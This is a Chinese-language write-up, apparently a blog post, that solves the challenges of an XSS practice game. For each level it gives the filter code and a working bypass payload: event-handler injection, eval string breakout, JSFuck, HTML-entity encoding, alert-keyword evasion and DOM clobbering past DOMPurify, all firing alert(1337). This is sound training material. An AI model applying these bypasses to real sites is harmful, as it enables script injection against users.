最近,正在学习XSS各种Bypass姿势,发现了某位Youtuber搭建的XSS Game平台,感觉还不错,正好用来实践XSS Bypass的技巧。在此分享给大家,如有任何问题,可留言探讨。本人也是小白一个,文章中如果出现错误,请大家指正。
每道题目会给出XSS过滤器的实现,要求在没有用户交互的前提下弹框(alert(1337)
),在Chrome下测试通过即可。话不多说,步入正文。
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
分析:本题基本上是送分题,没有任何过滤,二话不说直接干。
答案:<svg onload=alert(1337)>
<!-- Challenge --><h2 id="maname"></h2><script> let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF") let ma = "" eval(`ma = "Ma name ${jeff}"`) setTimeout(_ => { maname.innerText = ma }, 1000)</script>
分析:本题也没有任何过滤,解题的核心在于能让jeff
这个变量里包含alert(1337)
并且能够执行,同时保证ma = "Ma name ${jeff}"
这个赋值语句的语法正确即可。可以选择使用-
进行分割。
答案:"-alert(1337)-"
。对答案稍作解释,以免小白不理解。将变量jeff
替换后,语句变为ma = "Ma name "-alert(1337)-""
。首先,这是一个合法的表达式。JS为了进行-
运算,会对每部分进行解析,在解析过程中,会执行alert(1337)
。
<!-- Challenge --><div id="uganda"></div><script> let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?"); wey = wey.replace(/[<>]/g, '') uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`</script>
分析:从代码中可以看到,变量wey
是插入到了<input>
元素的属性中,同时对尖括号(<>
)进行了过滤。既然无法使用尖括号对<input>
标签进行闭合,那么可以尝试用双引号闭合标签内部的属性。同时,使用autofocus来自动触发onfocus事件中对应的函数,避免用户交互。
答案:"onfocus=alert(1337) autofocus="
<!-- Challenge --><form id="ricardo" method="GET"> <input name="milos" type="text" class="form-control" placeholder="True" value="True"></form><script> ricardo.action = (new URL(location).searchParams.get('ricardo') || '#') setTimeout(_ => { ricardo.submit() }, 2000)</script>
分析:从代码中可以看出,用户的输入ricardo
会成为表单提交的URL地址。由于没有任何过滤,可以直接使用javascript
伪协议来执行弹框。
答案:javascript:alert(1337)
<!-- Challenge --><h2 id="will"></h2><script> smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt") smith = smith.replace(/[\(\`\)\\]/g, '') will.innerHTML = smith</script>
分析:本题难度加大一点,过滤掉了(
)`这几个符号,显然不能直接alert(1337)
进行弹框。但是过滤器并没有考虑到HTML实体编码,所以我们可以用HTML实体编码来绕过过滤。同时,因为HTML实体编码中有&
,在传参到URL里时,要再经过一次URL编码。
答案:
<!-- 无任何编码--><svg onload="alert(1337)"><!-- HTML实体编码 --><svg onload="alert(1337)"><!-- URL编码,最终答案 -->%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
分析:根据代码可见,过滤器过滤掉了所有的字母和数字。可以采用JSFuck来绕过。JSFuck可以将正常的JS代码混淆为只包含[, ], (, ), !, +
这6种字符的字符串。可查阅Github来了解JSFuck的具体工作原理。
答案:
// JSFuck转换后的alert(1337)[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 由于有特殊字符,需要经过URL编码"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"
/* Challenge */mafia = (new URL(location).searchParams.get('mafia') || '1+1')mafia = mafia.slice(0, 50)mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')mafia = mafia.replace(/alert/g, '_')eval(mafia)
分析:本题存在三个限制
`'"+-!\[]
被替换为_
alert
被替换为_
长度的限制导致我们不能像上一题一样直接使用JSFuck来绕过过滤。本题的核心是如何绕过alert
字符串的检测。可以使用如下几种办法。
alert
字符串的检测。alert
的检测。#${payload}
,然后通过location.hash.slice(1)
来获取payload,也能做到绕过检测。答案:
// 匿名函数Function(/ALERT(1337)/.source.toLowerCase())()// 数字转字符串,将30进制的数字8680439转换成字符串,就是alerteval(8680439..toString(30))(1337)// 在原始的URL后面加上 #alert(1337),然后通过下面的语句将payload取出eval(location.hash.slice(1))
<!-- Challenge --><h2 id="boomer">Ok, Boomer.</h2><script> boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer") setTimeout(ok, 2000)</script>
分析:本题中使用了DOMPurify
这个第三方库来过滤非法字符。同时,setTimeout(ok, 2000)
中的ok
可以接收一个函数或者字符串。如果我们能够向ok
这个变量注入可执行的payload,那么也就能成功弹框。在此,我们可以使用DOM Clobbering
的方式,通过向HTML注入DOM元素,来实现操作JavaScript变量。
首先,要构造一个变量ok
,我们可以通过创建一个id=ok
的DOM元素来实现,比如<div id="ok"></div>
。
然后,要考虑如何构造alert(1337)
这个字符串。ok
需要接受一个字符串作为值,而在对<a>
标签调用toString()
方法时,会返回属性href
的值。所以,我们可以选择<a>
标签作为构造对象。href
的值要遵守protocol:uri
的格式。然而,在href
里直接使用javascript:
协议是不行的。通过查看DOMPurify
的源码可以发现,它支持的合法的协议有mailto, tel, xmpp
等等,随便选择一个即可。
答案:<a id=ok href=tel:alert(1337)>
关于DOM Clobbering的讲解,可以参考这篇文章
通过这次的XSS Game,学习到了以下几点常用技巧:
-
能够用来闭合HTML标签内部属性。onfocus
和autofocus
配合自动触发payload执行。javascript:
伪协议执行payload。